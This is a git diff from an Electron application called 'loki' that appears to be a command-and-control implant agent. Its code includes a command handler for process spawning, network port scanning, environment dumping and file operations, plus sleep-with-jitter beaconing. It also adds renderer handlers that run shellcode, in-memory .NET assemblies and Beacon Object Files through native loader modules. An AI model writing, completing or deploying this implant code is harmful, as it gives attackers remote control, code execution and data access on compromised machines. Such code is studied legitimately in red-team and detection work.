const buffer = Buffer.from(base64, 'base64');
|
||||
// Convert the buffer to a utf-8 string
|
||||
const decoded = buffer.toString('utf-8');
|
||||
return decoded;
|
||||
}
|
||||
|
||||
function generateUUID(len) {
|
||||
if (len > 20) len = 20; // Limit max length to 20
|
||||
if (len < 1) return ''; // Handle invalid length
|
||||
|
||||
const letters = 'abcdefghijklmnopqrstuvwxyz';
|
||||
const firstChar = letters[Math.floor(Math.random() * letters.length)];
|
||||
|
||||
if (len === 1) return firstChar;
|
||||
|
||||
// Generate (len - 1) hex characters
|
||||
const uuid = crypto.randomBytes(Math.ceil((len - 1) / 2)).toString('hex');
|
||||
return (firstChar + uuid).substring(0, len);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
generateAESKey,
|
||||
func_Encrypt,
|
||||
func_Decrypt,
|
||||
func_Base64_Encode,
|
||||
func_Base64_Decode,
|
||||
generateUUID
|
||||
};
|
||||
@@ -1,598 +0,0 @@
|
||||
const { log } = require('console');
|
||||
const { spawn } = require('child_process');
|
||||
const path = require('path');
|
||||
const fsp = require('fs').promises;
|
||||
const dns = require('dns');
|
||||
const net = require('net'); // Import the net module
|
||||
|
||||
async function func_Scan_Ports(host, ports) {
|
||||
const openPorts = [];
|
||||
|
||||
const checkPort = (host, port) => {
|
||||
return new Promise((resolve) => {
|
||||
const socket = new net.Socket();
|
||||
socket.setTimeout(100); // Timeout after 2 seconds
|
||||
|
||||
socket.on('connect', () => {
|
||||
openPorts.push(port);
|
||||
socket.destroy();
|
||||
resolve();
|
||||
});
|
||||
|
||||
socket.on('timeout', () => {
|
||||
socket.destroy();
|
||||
resolve();
|
||||
});
|
||||
|
||||
socket.on('error', () => {
|
||||
socket.destroy();
|
||||
resolve();
|
||||
});
|
||||
|
||||
socket.connect(port, host);
|
||||
});
|
||||
};
|
||||
|
||||
const portChecks = ports.map(port => checkPort(host, port));
|
||||
await Promise.all(portChecks);
|
||||
|
||||
return openPorts;
|
||||
}
|
||||
|
||||
function func_Split_Quoted_String(str) {
|
||||
const result = [];
|
||||
let current = '';
|
||||
let insideQuotes = false;
|
||||
let quoteChar = '';
|
||||
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
const char = str[i];
|
||||
|
||||
if (insideQuotes) {
|
||||
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
|
||||
// Handle escaped quote or backslash
|
||||
current += str[i + 1];
|
||||
i++; // Skip the next character
|
||||
} else if (char === quoteChar) {
|
||||
// End of quoted string
|
||||
insideQuotes = false;
|
||||
result.push(current);
|
||||
current = '';
|
||||
} else {
|
||||
// Inside quoted string
|
||||
current += char;
|
||||
}
|
||||
} else {
|
||||
if (char === '"' || char === "'") {
|
||||
// Start of quoted string
|
||||
insideQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === '\\' && str[i + 1] === ' ') {
|
||||
// Handle escaped space
|
||||
current += ' ';
|
||||
i++; // Skip the next character
|
||||
} else if (char === ' ') {
|
||||
// Space outside of quotes
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
// Unquoted string
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add the last argument if there's any
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
async function func_File_Move(srcPath, destPath) {
|
||||
let output = "";
|
||||
try {
|
||||
// Ensure the destination directory exists
|
||||
await fsp.mkdir(path.dirname(destPath), { recursive: true });
|
||||
// Move the file
|
||||
await fsp.rename(srcPath, destPath);
|
||||
output = `File moved from ${srcPath} to ${destPath}`;
|
||||
//log( output );
|
||||
} catch (error) {
|
||||
output = `Error moving file: ${error.stack}`;
|
||||
//log( output );
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
async function func_File_Copy(srcPath, destPath) {
|
||||
let output = "";
|
||||
try {
|
||||
// Ensure the destination directory exists
|
||||
await fsp.mkdir(path.dirname(destPath), { recursive: true });
|
||||
// Copy the file
|
||||
await fsp.copyFile(srcPath, destPath);
|
||||
output = `File copied from ${srcPath} to ${destPath}`;
|
||||
//log( output );
|
||||
} catch (error) {
|
||||
output = `Error copying file: ${error.stack}`;
|
||||
//log( output );
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
async function func_File_Read(filePath) {
|
||||
try {
|
||||
//log('In function func_File_Read():');
|
||||
// Check if the path is absolute
|
||||
if (!path.isAbsolute(filePath)) {
|
||||
// If the path is relative, resolve it to an absolute path
|
||||
filePath = path.resolve(__dirname, filePath);
|
||||
}
|
||||
//log('filePath : ',filePath);
|
||||
|
||||
const data = await fsp.readFile(filePath, { encoding: 'utf8' });
|
||||
//log('File contents:', data);
|
||||
return data; // Return the data if you need to use it later
|
||||
} catch (err) {
|
||||
//log('Error reading file:', err);
|
||||
//throw err; // Re-throw the error if you need to handle it outside
|
||||
return `[!] ${err}`;
|
||||
}
|
||||
}
|
||||
|
||||
// Function to execute a command using spawn and return a promise
|
||||
function func_Spawn_Child(command, args = []) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const proc = spawn(command, args);
|
||||
let stdout = "";
|
||||
let stderr = "";
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
stdout += data.toString();
|
||||
});
|
||||
|
||||
proc.stderr.on('data', (data) => {
|
||||
stderr += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
resolve({
|
||||
stdout: stdout.trim(),
|
||||
stderr: stderr.trim(),
|
||||
pid: proc.pid,
|
||||
exitCode: code,
|
||||
command: `${command} ${args.join(" ")}` // CLI format
|
||||
});
|
||||
});
|
||||
|
||||
proc.on('error', (err) => {
|
||||
reject(err);
|
||||
});
|
||||
});
|
||||
}
|
||||
// function func_Spawn_Child(command, args) {
|
||||
|
||||
// const proc = spawn(command, args);
|
||||
|
||||
// let stdout = proc.stdout.read();
|
||||
// let stderr = proc.stderr.read();
|
||||
// let code = proc.exitCode;
|
||||
// let pid = proc.pid;
|
||||
|
||||
// return JSON.stringify( {"stdout":stdout, "stderr":stderr, "pid":pid, "exitCode":code} );
|
||||
// }
|
||||
|
||||
async function func_Drives_Exist(driveLetter) {
|
||||
const path = `${driveLetter}:\\`;
|
||||
try {
|
||||
await fsp.access(path);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Drives_Stat(driveLetter) {
|
||||
const path = `${driveLetter}:\\`;
|
||||
try {
|
||||
const stats = await fsp.stat(path);
|
||||
return stats;
|
||||
} catch (error) {
|
||||
throw new Error(`Error retrieving stats for ${driveLetter}:: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Drives_List() {
|
||||
const driveLetters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('');
|
||||
let resultBuffer = '';
|
||||
|
||||
for (const letter of driveLetters) {
|
||||
if (await func_Drives_Exist(letter)) {
|
||||
resultBuffer += `Drive: ${letter}:\n`;
|
||||
try {
|
||||
const stats = await func_Drives_Stat(letter);
|
||||
resultBuffer += `Created: ${stats.birthtime}\n`;
|
||||
resultBuffer += `Modified: ${stats.mtime}\n`;
|
||||
} catch (error) {
|
||||
resultBuffer += `${error.message}\n`;
|
||||
}
|
||||
resultBuffer += '---\n';
|
||||
}
|
||||
}
|
||||
|
||||
return resultBuffer;
|
||||
}
|
||||
|
||||
async function ls(dirPath) {
|
||||
try {
|
||||
if (dirPath == "") {
|
||||
dirPath = ".";
|
||||
}
|
||||
const filesAndFolders = await fsp.readdir(dirPath, { withFileTypes: true });
|
||||
let resultBuffer = '';
|
||||
|
||||
// Table headers
|
||||
resultBuffer += `Name`.padEnd(60) + `Type`.padEnd(16) + `Size (bytes)`.padEnd(15) + `Created`.padEnd(24) + `Modified`.padEnd(24) + '\n';
|
||||
resultBuffer += '-'.repeat(30) + '-'.repeat(10) + '-'.repeat(15) + '-'.repeat(30) + '-'.repeat(30) + '\n';
|
||||
|
||||
for (const entry of filesAndFolders) {
|
||||
const fullPath = path.join(dirPath, entry.name);
|
||||
try {
|
||||
const stats = await fsp.stat(fullPath);
|
||||
const options = {
|
||||
month: '2-digit',
|
||||
day: '2-digit',
|
||||
year: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
hour12: false
|
||||
};
|
||||
resultBuffer += entry.name.padEnd(60);
|
||||
resultBuffer += (entry.isDirectory() ? 'Directory' : 'File').padEnd(16);
|
||||
resultBuffer += String(stats.size).padEnd(15);
|
||||
resultBuffer += stats.birthtime.toLocaleString('en-US', options).replace(',', '').padEnd(24);
|
||||
resultBuffer += stats.mtime.toLocaleString('en-US', options).replace(',', '').padEnd(24);
|
||||
resultBuffer += '\n';
|
||||
} catch (err) {
|
||||
//log(`Unable to access file: ${fullPath}. Error: ${err.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
return resultBuffer;
|
||||
} catch (error) {
|
||||
//log('Error reading directory:', error);
|
||||
return 'Error reading directory.';
|
||||
}
|
||||
}
|
||||
|
||||
async function safeStringify(input) {
|
||||
if (typeof input === "object" && input !== null) {
|
||||
try {
|
||||
return JSON.stringify(input);
|
||||
} catch (error) {
|
||||
console.error("Error stringifying object:", error);
|
||||
}
|
||||
}
|
||||
return input; // Return original value if not a JSON object
|
||||
}
|
||||
|
||||
// Global variable to store the custom DNS server
|
||||
let customDnsServer = null;
|
||||
|
||||
function dnsHandler(command) {
|
||||
return new Promise((resolve) => {
|
||||
let data = '';
|
||||
|
||||
try {
|
||||
const parts = command.split(' ');
|
||||
|
||||
if (parts.length < 2) {
|
||||
data += 'Invalid command\r\n';
|
||||
return resolve(data);
|
||||
}
|
||||
|
||||
// Handle the @ command to set a custom DNS server
|
||||
if (parts[1].startsWith('@')) {
|
||||
const server = parts[1].substring(1); // Remove the '@'
|
||||
|
||||
if (server.toLowerCase() === "default") {
|
||||
customDnsServer = null; // Reset to system default
|
||||
dns.setServers(dns.getServers()); // Restore system DNS
|
||||
data += "Reset to system default DNS servers\r\n";
|
||||
} else {
|
||||
customDnsServer = server;
|
||||
dns.setServers([server]);
|
||||
data += `Using custom DNS server: ${server}\r\n`;
|
||||
}
|
||||
return resolve(data);
|
||||
}
|
||||
|
||||
// Use custom DNS if set
|
||||
const resolver = customDnsServer ? new dns.Resolver() : dns;
|
||||
if (customDnsServer) resolver.setServers([customDnsServer]);
|
||||
|
||||
switch (parts[1]) {
|
||||
case 'lookup':
|
||||
if (parts[2]) {
|
||||
if (parts.includes('-all')) {
|
||||
let hostname = parts[2];
|
||||
let pendingLookups = 7; // Total lookups being performed
|
||||
|
||||
// Function to check when all lookups are done
|
||||
const finalize = () => {
|
||||
pendingLookups--;
|
||||
if (pendingLookups === 0) {
|
||||
resolve(data);
|
||||
}
|
||||
};
|
||||
|
||||
// Resolve IP Address
|
||||
resolver.lookup(hostname, (err, address, family) => {
|
||||
data += err ? `Error resolving IP: ${err.message}\r\n`
|
||||
: `Resolved IP: ${address}, Family: IPv${family}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve A (IPv4) & AAAA (IPv6)
|
||||
resolver.resolve4(hostname, (err, addresses) => {
|
||||
data += err ? `Error resolving A record: ${err.message}\r\n`
|
||||
: `A (IPv4) Records: ${addresses.join(', ')}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
resolver.resolve6(hostname, (err, addresses) => {
|
||||
data += err ? `Error resolving AAAA record: ${err.message}\r\n`
|
||||
: `AAAA (IPv6) Records: ${addresses.join(', ')}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve MX Records
|
||||
resolver.resolveMx(hostname, (err, addresses) => {
|
||||
data += err ? `Error resolving MX records: ${err.message}\r\n`
|
||||
: `MX Records: ${JSON.stringify(addresses, null, 2)}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve TXT Records
|
||||
resolver.resolveTxt(hostname, (err, records) => {
|
||||
data += err ? `Error resolving TXT records: ${err.message}\r\n`
|
||||
: `TXT Records: ${JSON.stringify(records, null, 2)}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve CNAME Records
|
||||
resolver.resolveCname(hostname, (err, records) => {
|
||||
data += err ? `Error resolving CNAME records: ${err.message}\r\n`
|
||||
: `CNAME Records: ${records.join(', ')}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve NS Records
|
||||
resolver.resolveNs(hostname, (err, records) => {
|
||||
data += err ? `Error resolving NS records: ${err.message}\r\n`
|
||||
: `NS Records: ${records.join(', ')}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
} else {
|
||||
resolver.lookup(parts[2], (err, address, family) => {
|
||||
data += err ? `Error: ${err.message}\r\n`
|
||||
: `IP Address: ${address}, Family: IPv${family}\r\n`;
|
||||
resolve(data);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
data += 'Usage: dns lookup <hostname> [-all | -mx | -txt | -cname]\r\n';
|
||||
resolve(data);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'resolve':
|
||||
if (parts[2]) {
|
||||
resolver.resolve(parts[2], (err, addresses) => {
|
||||
data += err ? `Error: ${err.message}\r\n`
|
||||
: `IP Addresses: ${addresses.join(', ')}\r\n`;
|
||||
resolve(data);
|
||||
});
|
||||
} else {
|
||||
data += 'Usage: dns resolve <hostname>\r\n';
|
||||
resolve(data);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'reverse':
|
||||
if (parts[2]) {
|
||||
resolver.reverse(parts[2], (err, hostnames) => {
|
||||
data += err ? `Error: ${err.message}\r\n`
|
||||
: `Hostnames: ${hostnames.join(', ')}\r\n`;
|
||||
resolve(data);
|
||||
});
|
||||
} else {
|
||||
data += 'Usage: dns reverse <ip-address>\r\n';
|
||||
resolve(data);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'config':
|
||||
try {
|
||||
data += `Current DNS Servers: ${dns.getServers().join(', ')}\r\n`;
|
||||
} catch (error) {
|
||||
data += `Error retrieving DNS config: ${error.message}\r\n`;
|
||||
}
|
||||
resolve(data);
|
||||
break;
|
||||
|
||||
default:
|
||||
data += 'Unknown command\r\n';
|
||||
resolve(data);
|
||||
}
|
||||
} catch (error) {
|
||||
data += `Unexpected error: ${error.message}\r\n${error.stack}\r\n`;
|
||||
resolve(data);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Function to simulate doing some work with the blob content
|
||||
async function func_Command_Handler(cmd)
|
||||
{
|
||||
try
|
||||
{
|
||||
//log('# func_Command_Handler()');
|
||||
//log(`cmdline : ${cmd}`);
|
||||
if ( cmd != "")
|
||||
{
|
||||
const argv = func_Split_Quoted_String(cmd);
|
||||
log(`handler.js | func_Command_Handler | cmd : ${argv}`);
|
||||
//log(`[+] argv: ${argv}`);
|
||||
if (argv[0] != "")
|
||||
{
|
||||
let data;
|
||||
let clearResponse;
|
||||
let response;
|
||||
const arg1 = argv.length > 0 ? argv[1] : '';
|
||||
const args = argv.slice(2);
|
||||
//log(`# CMD ARGS \r\n\targv : ${argv[0]}\r\n\targ1 : ${arg1}\r\n\targs : ${args}`);
|
||||
//log('[+] Command : ', argv[0]);
|
||||
if (argv[0] == 'spawn')
|
||||
{
|
||||
log('command:', arg1);
|
||||
log('args :', args);
|
||||
data = await func_Spawn_Child(arg1, args);
|
||||
//data = safeStringify(data);
|
||||
data = data.stdout;
|
||||
log('Command Output:', data);
|
||||
}
|
||||
if (argv[0] == 'scan') {
|
||||
const host = argv[1];
|
||||
const portsArg = argv.find(arg => arg.startsWith('-p'));
|
||||
const ports = portsArg ? portsArg.substring(2).split(',').map(Number) : [80, 443]; // Default ports if not specified
|
||||
|
||||
const isCIDR = host.includes('/');
|
||||
if (isCIDR) {
|
||||
const [base, mask] = host.split('/');
|
||||
const baseIP = base.split('.').map(Number);
|
||||
const range = 1 << (32 - Number(mask));
|
||||
const openPorts = [];
|
||||
|
||||
for (let i = 0; i < range; i++) {
|
||||
const ip = baseIP.slice();
|
||||
ip[3] += i;
|
||||
const ipStr = ip.join('.');
|
||||
const result = await func_Scan_Ports(ipStr, ports);
|
||||
// if (result.length > 0) {
|
||||
openPorts.push(`${ipStr}: ${result.join(', ')}`);
|
||||
// } //else {
|
||||
// openPorts.push(`${ipStr}: none`);
|
||||
// }
|
||||
}
|
||||
data = openPorts.join('\n');
|
||||
} else {
|
||||
const result = await func_Scan_Ports(host, ports);
|
||||
data = `${host}: ${result.join(', ')}`;
|
||||
}
|
||||
}
|
||||
if (argv[0] == 'dns')
|
||||
{
|
||||
data = await dnsHandler(cmd);
|
||||
}
|
||||
if (argv[0] == 'set')
|
||||
{
|
||||
if (argv[1] == 'scexec_path')
|
||||
{
|
||||
global.scexecNodePath = argv[2];
|
||||
data = `SCEXEC Node Load Path Set to : ${global.scexecNodePath}`;
|
||||
log(data);
|
||||
}
|
||||
else if (argv[1] == 'assembly_path')
|
||||
{
|
||||
global.assemblyNodePath = argv[2];
|
||||
data = `Assembly Node Load Path Set to : ${global.assemblyNodePath}`;
|
||||
log(data);
|
||||
|
||||
}else
|
||||
{
|
||||
data = `SCEXEC Node Load Path Set to : ${global.scexecNodePath}\r\nAssembly Node Load Path Set to : ${global.assemblyNodePath}`;
|
||||
log(data);
|
||||
}
|
||||
}
|
||||
if (argv[0] == 'drives')
|
||||
{
|
||||
data = await func_Drives_List();
|
||||
}
|
||||
if (argv[0] == 'ls')
|
||||
{
|
||||
let path;
|
||||
if (typeof argv[1] === 'undefined')
|
||||
{
|
||||
path = ".";
|
||||
}else{
|
||||
path = argv[1];
|
||||
}
|
||||
data = await ls(path);
|
||||
}
|
||||
if (argv[0] == 'env')
|
||||
{
|
||||
//data = process.env;
|
||||
//data = common.func_Base64_Encode(data);
|
||||
let env = process.env;
|
||||
data = JSON.stringify(env, null, 2);
|
||||
//log(env);
|
||||
}
|
||||
if (argv[0] == 'cat')
|
||||
{
|
||||
file = argv[1];
|
||||
data = await func_File_Read(file);
|
||||
}
|
||||
if (argv[0] == 'pwd')
|
||||
{
|
||||
data = process.cwd().replace(/\\/g, '/');;
|
||||
}
|
||||
if (argv[0] == 'sleep')
|
||||
{
|
||||
sleepInterval = await validateAndAdjustNumber(Number(argv[1]), 3000, 0, max = 30000);
|
||||
jitter = await validateAndAdjustNumber(Number(argv[2]), 15, 0, max = 300);
|
||||
data = `Sleeping for ${sleepInterval}ms with ${jitter} percent jitter.`;
|
||||
}
|
||||
if (argv[0] == 'mv')
|
||||
{
|
||||
src = argv[1];
|
||||
dest = argv[2];
|
||||
data = await func_File_Move(src,dest);
|
||||
}
|
||||
if (argv[0] == 'cp')
|
||||
{
|
||||
src = argv[1];
|
||||
dest = argv[2];
|
||||
data = await func_File_Copy(src,dest);
|
||||
}
|
||||
if (argv[0] == 'ps')
|
||||
{
|
||||
if (wpt == null)
|
||||
{
|
||||
data = "wpt.node failed to load so no ps cmd available."
|
||||
}
|
||||
else
|
||||
{
|
||||
await getProcessListWrapper();
|
||||
await new Promise(resolve => setTimeout(resolve, 2000));
|
||||
data = processList;
|
||||
}
|
||||
}
|
||||
return data;
|
||||
}
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
return error;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
func_Command_Handler
|
||||
};
|
||||
+1473
-264
File diff suppressed because it is too large
Load Diff
+2
-4
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "loki",
|
||||
"version": "1.0.0",
|
||||
"version": "2.0.0",
|
||||
"main": "./main.js",
|
||||
"scripts": {
|
||||
"start": "electron .",
|
||||
@@ -19,7 +19,7 @@
|
||||
"appId": "",
|
||||
"productName": "",
|
||||
"copyright": "",
|
||||
"asar": true,
|
||||
"asar": false,
|
||||
"files": [
|
||||
"main.js",
|
||||
"*.html",
|
||||
@@ -32,14 +32,12 @@
|
||||
"mac": {
|
||||
"icon": "assets/mac/icon.icns",
|
||||
"target": [
|
||||
"dmg",
|
||||
"zip"
|
||||
]
|
||||
},
|
||||
"win": {
|
||||
"icon": "assets/win/icon.ico",
|
||||
"target": [
|
||||
"nsis",
|
||||
"zip"
|
||||
]
|
||||
},
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
<script src="renderer.js"></script>
|
||||
</body></html>
|
||||
@@ -0,0 +1,213 @@
|
||||
const { ipcRenderer } = require('electron');
|
||||
const { log } = require('console');
|
||||
|
||||
ipcRenderer.on('make-web-request', async (event, requestOptions) => {
|
||||
try {
|
||||
const { url, method = 'GET', headers = {}, body, requestId, isBytes } = requestOptions;
|
||||
const defaultHeaders = {
|
||||
'Cache-Control': 'no-cache, no-store, must-revalidate',
|
||||
'Pragma': 'no-cache',
|
||||
'Expires': '0'
|
||||
};
|
||||
const fetchOptions = {
|
||||
method,
|
||||
headers: { ...defaultHeaders, ...headers }
|
||||
};
|
||||
if (body !== undefined) {
|
||||
fetchOptions.body = body;
|
||||
}
|
||||
const response = await fetch(url, fetchOptions);
|
||||
let data = "";
|
||||
if(isBytes) {
|
||||
// // log(`[WEB-REQUEST] Response is bytes`);
|
||||
const arrayBuffer = await response.arrayBuffer();
|
||||
data = Buffer.from(arrayBuffer);
|
||||
} else {
|
||||
data = await response.text();
|
||||
}
|
||||
ipcRenderer.send(`web-request-response-${requestId}`, {
|
||||
status: response.status,
|
||||
statusText: response.statusText,
|
||||
headers: Object.fromEntries(response.headers.entries()),
|
||||
data: data
|
||||
});
|
||||
} catch (error) {
|
||||
ipcRenderer.send(`web-request-response-${requestId}`, {
|
||||
error: error.message
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('execute-assembly-node', async (event, path, data, args) => {
|
||||
try {
|
||||
// // log(`[ASSEMBLY] Received assembly execution request`);
|
||||
// // log(`[ASSEMBLY] Path: ${path}`);
|
||||
// // log(`[ASSEMBLY] Args: ${JSON.stringify(args)}`);
|
||||
|
||||
const node = require(path);
|
||||
const result = node.execute_assembly(data, args);
|
||||
|
||||
ipcRenderer.send('assembly-complete', result);
|
||||
} catch (error) {
|
||||
// // log(`[ASSEMBLY] Error executing assembly: ${error.message}`);
|
||||
// // log(`[ASSEMBLY] Error stack: ${error.stack}`);
|
||||
ipcRenderer.send('assembly-complete', `Error: ${error.message}`);
|
||||
}
|
||||
});
|
||||
|
||||
class BeaconPack {
|
||||
constructor() {
|
||||
this.buffer = Buffer.alloc(0);
|
||||
this.size = 0;
|
||||
}
|
||||
|
||||
getBuffer() {
|
||||
// Create a buffer for the size (4 bytes) + the actual buffer
|
||||
const sizeBuffer = Buffer.alloc(4);
|
||||
sizeBuffer.writeUInt32LE(this.size, 0);
|
||||
return Buffer.concat([sizeBuffer, this.buffer]);
|
||||
}
|
||||
|
||||
addShort(short) {
|
||||
const shortBuffer = Buffer.alloc(2);
|
||||
shortBuffer.writeInt16LE(short, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, shortBuffer]);
|
||||
this.size += 2;
|
||||
}
|
||||
|
||||
addInt(dint) {
|
||||
const intBuffer = Buffer.alloc(4);
|
||||
intBuffer.writeInt32LE(dint, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, intBuffer]);
|
||||
this.size += 4;
|
||||
}
|
||||
|
||||
addString(s) {
|
||||
if (typeof s === 'string') {
|
||||
s = Buffer.from(s, 'utf-8');
|
||||
}
|
||||
// Add null terminator
|
||||
s = Buffer.concat([s, Buffer.from([0])]);
|
||||
const sizeBuffer = Buffer.alloc(4);
|
||||
sizeBuffer.writeUInt32LE(s.length, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, sizeBuffer, s]);
|
||||
this.size += 4 + s.length;
|
||||
}
|
||||
|
||||
addWString(s) {
|
||||
if (typeof s === 'string') {
|
||||
s = Buffer.from(s, 'utf16le');
|
||||
}
|
||||
// Add null terminator (2 bytes for UTF-16)
|
||||
s = Buffer.concat([s, Buffer.from([0, 0])]);
|
||||
const sizeBuffer = Buffer.alloc(4);
|
||||
sizeBuffer.writeUInt32LE(s.length, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, sizeBuffer, s]);
|
||||
this.size += 4 + s.length;
|
||||
}
|
||||
|
||||
addBinary(data, length) {
|
||||
if (typeof data === 'string') {
|
||||
data = Buffer.from(data, 'utf-8');
|
||||
}
|
||||
const sizeBuffer = Buffer.alloc(4);
|
||||
sizeBuffer.writeUInt32LE(length, 0);
|
||||
this.buffer = Buffer.concat([this.buffer, sizeBuffer, data]);
|
||||
this.size += 4 + length;
|
||||
}
|
||||
|
||||
reset() {
|
||||
this.buffer = Buffer.alloc(0);
|
||||
this.size = 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
ipcRenderer.on('execute-bof-node', async (event, path, bof_data, functionName, formatString, formatArgs) => {
|
||||
try {
|
||||
// log(`[REND][IPC][BOF] Path: ${path}`);
|
||||
// log(`[REND][IPC][BOF] Function Name: ${functionName}`);
|
||||
//log(`[REND][IPC][BOF] BOF Data: ${bof_data.toString('hex')}`);
|
||||
// log(`[REND][IPC][BOF] Format String: ${formatString}`);
|
||||
// log(`[REND][IPC][BOF] Format Args: ${formatArgs}`);
|
||||
|
||||
// Create argument data using BeaconPack
|
||||
const beaconPack = new BeaconPack();
|
||||
|
||||
// Process each format specifier and its corresponding argument
|
||||
for (let i = 0; i < formatString.length; i++) {
|
||||
const formatChar = formatString[i];
|
||||
const arg = formatArgs[i];
|
||||
|
||||
switch (formatChar) {
|
||||
case 'z': // null-terminated string
|
||||
beaconPack.addString(arg);
|
||||
break;
|
||||
case 'w': // wide string
|
||||
beaconPack.addWString(arg);
|
||||
break;
|
||||
case 'i': // integer
|
||||
beaconPack.addInt(parseInt(arg));
|
||||
break;
|
||||
case 'b': // binary blob
|
||||
const [data, length] = arg.split(',');
|
||||
beaconPack.addBinary(data, parseInt(length));
|
||||
break;
|
||||
default:
|
||||
console.error(`[BOF] Error: Unknown format specifier '${formatChar}'`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
const argumentData = beaconPack.getBuffer();
|
||||
// log('[BOF] Packed argument data:', argumentData.toString('hex'));
|
||||
|
||||
const COFFLoader = require(path);
|
||||
const result = COFFLoader.runCOFF(functionName, bof_data, argumentData, argumentData.length);
|
||||
// log(`[REND][IPC][BOF] Result: ${JSON.stringify(result)}`);
|
||||
//const asciiResult = Buffer.from(result.output.data).toString('ascii');
|
||||
//log(`[BOF][+] BOF ASCII result:\r\n ${asciiResult}`);
|
||||
|
||||
ipcRenderer.send('bof-complete', result);
|
||||
} catch (error) {
|
||||
// log(`[BOF] Error executing bof: ${error.message}`);
|
||||
// log(`[BOF] Error stack: ${error.stack}`);
|
||||
ipcRenderer.send('bof-complete', `Error: ${error.message}`);
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('execute-scexec-node', async (event, path, data) => {
|
||||
try {
|
||||
// Resolve absolute path
|
||||
const resolvedPath = require('path').resolve(__dirname, path);
|
||||
//log(`[SCEXEC] Resolved path: ${resolvedPath}`);
|
||||
|
||||
if (!Buffer.isBuffer(data)) {
|
||||
// log(`[SCEXEC] Converting data to Buffer: ${data}`);
|
||||
data = Buffer.from(data);
|
||||
}
|
||||
|
||||
const node = require(resolvedPath);
|
||||
const result = node.run_array(data);
|
||||
// log(`func_Azure_File_Download_Exec result : ${result}`);
|
||||
ipcRenderer.send('scexec-complete', result);
|
||||
} catch (error) {
|
||||
// log(`[SCEXEC] Error executing scexec: ${error.message}`);
|
||||
// log(`[SCEXEC] Error stack: ${error.stack}`);
|
||||
ipcRenderer.send('scexec-complete', `Error: ${error.message}`);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
ipcRenderer.on('load', async (event, path) => {
|
||||
try {
|
||||
|
||||
const module = require(path);
|
||||
// // log(`[LOAD] Successfully loaded module from path: ${path}`);
|
||||
ipcRenderer.send('load-complete', 'Module loaded successfully');
|
||||
} catch (error) {
|
||||
// // log(`[LOAD] Error loading module: ${error.message}`);
|
||||
// // log(`[LOAD] Error stack: ${error.stack}`);
|
||||
ipcRenderer.send('load-complete', `Error: ${error.message}`);
|
||||
}
|
||||
});
|
||||
Binary file not shown.
@@ -177,6 +177,6 @@ tr > td {
|
||||
</div>
|
||||
<div id="commandDropdown"></div>
|
||||
</div>
|
||||
<script src="agent-window.js"></script>
|
||||
<script src="agent.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -22,11 +22,7 @@ let user_log = '';
|
||||
let pid_log = '';
|
||||
let currentSuggestionIndex = -1;
|
||||
let suggestions = [];
|
||||
let containerName = '';
|
||||
let containerKey;
|
||||
let containerBlob;
|
||||
let agentObj;
|
||||
let agent;
|
||||
global.agent;
|
||||
let window_agentid = "";
|
||||
|
||||
const commands = [
|
||||
@@ -34,10 +30,11 @@ const commands = [
|
||||
'spawn', 'drives', 'cat',
|
||||
'mv', 'sleep', 'cp', 'load',
|
||||
'upload', 'download', 'scexec', 'scan',
|
||||
'exit-all', 'assembly', 'help', 'dns'
|
||||
'exit', 'assembly', 'help', 'dns','cd',
|
||||
'bof'
|
||||
];
|
||||
|
||||
const commandHistory = [];
|
||||
global.commandHistory = [];
|
||||
let currentCommandIndex = -1;
|
||||
|
||||
function generateUUID(len) {
|
||||
@@ -70,7 +67,7 @@ function timeDifference(oldTimestamp) {
|
||||
}
|
||||
|
||||
const commandDetails = [
|
||||
{ name: "help", help: "Display help.\r\n" },
|
||||
{ name: "help", help: "Display this help menu\r\n" },
|
||||
